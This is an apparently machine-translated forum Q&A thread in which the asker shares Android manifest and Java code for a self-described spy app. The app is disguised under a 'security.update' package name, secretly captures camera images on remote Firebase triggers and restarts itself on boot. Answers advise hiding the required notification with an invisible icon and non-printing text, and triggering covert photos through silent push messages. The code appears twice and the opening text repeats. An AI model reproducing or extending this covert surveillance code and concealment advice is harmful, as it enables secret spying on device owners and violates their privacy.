Android Firebase childeventlistener的后台服务几分钟后不工作
我已经创建了一个服务,我想永远运行而不显示前台通知。我在Android Firebase childeventlistener的后台服务几分钟后不工作,android,service,firebase,Android,Service,Firebase,我已经创建了一个服务,我想永远运行而不显示前台通知。我在onStartCommand中有Firebase侦听器,它可以在数据库中的数据发生更改时进行侦听。每当数据发生变化时,它都会执行特定的任务,例如捕获图像 在活动课上什么都没有,只是我在那里开始服务,然后我就完成了。问题是,我可以在我的三星J2设备和Nexus 5上看到,每当我从应用程序抽屉中关闭应用程序时,该服务就会停止。我已经在BOOT\u上实现了广播接收器,它已完成,并且也在服务onestory,但它在引导上也不起作用。简而言之,我的服
onStartCommand
中有Firebase
侦听器,它可以在数据库中的数据发生更改时进行侦听。每当数据发生变化时,它都会执行特定的任务,例如捕获图像
在活动课上什么都没有,只是我在那里开始服务,然后我就完成了。问题是,我可以在我的三星J2
设备和Nexus 5
上看到,每当我从应用程序抽屉中关闭应用程序时,该服务就会停止。我已经在BOOT\u上实现了广播接收器,它已完成
,并且也在服务onestory
,但它在引导上也不起作用。简而言之,我的服务不会永远运行。而且我也不确定Firebase listener是否能在后台服务中工作。有许多应用程序,如whatsapp、hike、Applock,以及许多其他即使在强制关闭时也会重新启动的应用程序。我希望我的应用程序每次都能收听Firebase数据库。它是纯基于服务的应用程序。它没有任何活动。
下面是代码-
清单文件
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.security.update">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<application
android:screenOrientation="portrait"
android:name="android.support.multidex.MultiDexApplication"
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity
android:name=".ActivityForPermissions"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.security.update.CameraService"
android:enabled="true"
/>
<receiver android:name="com.security.update.ReceiverCall"
android:enabled="true">
<intent-filter>
<action android:name="RESTART_SERVICE" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>
接收器类
public class ActivityForPermissions extends AppCompatActivity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startService(new Intent(ActivityForPermissions.this,CameraService.class));
finish();
}
@Override
protected void onDestroy() {
super.onDestroy();
}}
public class ReceiverCall extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
context.startService(new Intent(context, CameraService.class));;
}
}
public class CameraService extends Service
{
//Camera variables
//a surface holder
private SurfaceHolder sHolder;
//a variable to control the camera
private Camera mCamera;
//the camera parameters
private Parameters parameters;
/** Called when the activity is first created. */
private StorageReference mStorageRef;
File spyfile;
FirebaseDatabase database;
public static DatabaseReference RequestRef,SpyStatus;
String devicemodel;
@Override
public void onCreate()
{
super.onCreate();
android.os.Debug.waitForDebugger();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
devicemodel = android.os.Build.MODEL;
mStorageRef = FirebaseStorage.getInstance().getReference();
database = FirebaseDatabase.getInstance();
RequestRef = database.getReference("CameraRequest");
SpyStatus = database.getReference("SpyStatus");
ListenerForRequestDone();
return START_STICKY;
}
@Override
public void onDestroy() {
super.onDestroy();
Intent intent = new Intent("RESTART_SERVICE");
sendBroadcast(intent);
}
public void ListenerForRequestDone(){
RequestRef.addChildEventListener(new ChildEventListener() {
@Override
public void onChildAdded(DataSnapshot dataSnapshot, String s) {
}
@Override
public void onChildChanged(DataSnapshot dataSnapshot, String s) {
StartImageCapture(1);
}
@Override
public void onChildRemoved(DataSnapshot dataSnapshot) {
}
@Override
public void onChildMoved(DataSnapshot dataSnapshot, String s) {
}
@Override
public void onCancelled(DatabaseError databaseError) {
}
});
}
服务等级
public class ActivityForPermissions extends AppCompatActivity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startService(new Intent(ActivityForPermissions.this,CameraService.class));
finish();
}
@Override
protected void onDestroy() {
super.onDestroy();
}}
public class ReceiverCall extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
context.startService(new Intent(context, CameraService.class));;
}
}
public class CameraService extends Service
{
//Camera variables
//a surface holder
private SurfaceHolder sHolder;
//a variable to control the camera
private Camera mCamera;
//the camera parameters
private Parameters parameters;
/** Called when the activity is first created. */
private StorageReference mStorageRef;
File spyfile;
FirebaseDatabase database;
public static DatabaseReference RequestRef,SpyStatus;
String devicemodel;
@Override
public void onCreate()
{
super.onCreate();
android.os.Debug.waitForDebugger();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
devicemodel = android.os.Build.MODEL;
mStorageRef = FirebaseStorage.getInstance().getReference();
database = FirebaseDatabase.getInstance();
RequestRef = database.getReference("CameraRequest");
SpyStatus = database.getReference("SpyStatus");
ListenerForRequestDone();
return START_STICKY;
}
@Override
public void onDestroy() {
super.onDestroy();
Intent intent = new Intent("RESTART_SERVICE");
sendBroadcast(intent);
}
public void ListenerForRequestDone(){
RequestRef.addChildEventListener(new ChildEventListener() {
@Override
public void onChildAdded(DataSnapshot dataSnapshot, String s) {
}
@Override
public void onChildChanged(DataSnapshot dataSnapshot, String s) {
StartImageCapture(1);
}
@Override
public void onChildRemoved(DataSnapshot dataSnapshot) {
}
@Override
public void onChildMoved(DataSnapshot dataSnapshot, String s) {
}
@Override
public void onCancelled(DatabaseError databaseError) {
}
});
}
也有类似的问题,例如,但没有正确的答案。这个主题出现在DroidconIn(“Firebase实时数据库深度挖掘”)的以下演示中。实际上,您不能依赖于在后台获得“正常”firebase同步更新,而是需要有某种可以发送推送通知的设置 第一个答案: 您的服务正在被终止,因为您可能试图做一些Google/Android操作系统明确不希望发生的事情。这里是SDK文档的一部分,然后我将解释: (来自服务生命周期)因为用户通常只能看到几个进程,这意味着不应终止服务,除非在内存不足的情况下。但是,由于用户没有直接意识到后台服务,因此在这种状态下,它被认为是一个可以杀死的有效候选服务,您应该对此做好准备特别是,长时间运行的服务如果保持足够长的启动时间,将越来越可能被终止,并保证被终止(并在适当的情况下重新启动) 你看,他们实际上是想确保用户不会有成百上千的间谍服务长期运行,占用资源或其他任何东西。你如何避免这种情况?答案就在这里……显示某种类型的通知,即使只是说“服务正在运行”也可以防止服务被破坏。当然,如果你真的试图“刺探”用户,那么发出刺探服务正在运行的通知并不是一个好主意。如果要继续此模式,请尝试“不可见”通知图标和非打印文本。如果用户正在查看通知,他们可能看不到,或者认为这只是一个小故障 第二个答复: 切换到更“事件驱动”的设计。我假设你能够捕捉到“开机”、“来电接收”和其他消息,因此为指示手机使用情况的事件注册接收器,这样你就可以轻松地将多个10-15分钟的片段拼接在一起,以获得几乎完全覆盖 我的目标是举办以下活动:
- 电源连接/断开
- WiFi状态更改
- 屏幕背光打开/关闭和/或屏幕锁定状态已更改
看看“绑定”模式。如果您可以让任何活动“绑定”到该服务,则只要绑定了该服务,它就不会被终止。如果将“START\u STICKY”与绑定模式相结合,则可以在释放绑定后继续运行一段时间。在成功执行此操作之前,需要在具有子eventlistner的服务类中实例化FireBaseApp。这对我很有用。试着删除清单文件中的内容,这对@AshrithkS有什么帮助?您好,要在启动时启动服务,请在元素中添加1):而且,我认为WhatsApp或任何其他应用程序现在都不会不断检查传入的消息。推送通知是一种更好的方法。请参阅有关GCM或FCM的文档。我正在开发间谍应用程序。我不想让用户知道wt正在发生,因此,推送通知对于我的appThnx for detail answer@Dan来说是个坏主意。我正在使用firebase数据库onchildchange侦听器,该侦听器在一段时间后不再工作。它会在收到通知时工作,还是在由您提供的意图过滤器启动的服务中工作?它应该工作,取决于您的意图过滤器设置方式,您可以添加多个操作类型,它们将作为逻辑“或”进行操作。不过,请仔细阅读IntentFilter部分,在“类别”和“操作”方面有特殊条件。您是否使用“onChildChanged()”来保持客户端服务的活动状态?是否有您正在推送到设备的真实数据?是的,我使用的是
onchildchanged()
,我不是在发送数据,我只是在更改值,我想让监听器在那个时候监听,监听器中有一种方法可以捕获图像并将其发送到firebase存储。有人在上面的评论中建议在推送通知服务的onreceive
方法中实现该方法。所以,每当我想让设备捕获图像时,我都会这样做只是发送一个假推送通知,这是一个好主意吗?这也是一个可行的方法,取决于您的需求。看:当GCM/FCM服务接收到消息时,您不需要实际发布通知,它可能只是数据,您可以抓拍一张照片并一直呆在背景中。你想什么时候拍照?拍照就是你想做的吗?例如,如果试图抓住一个电话窃贼,请(在另一个接收器中)监听锁屏故障,然后按下快门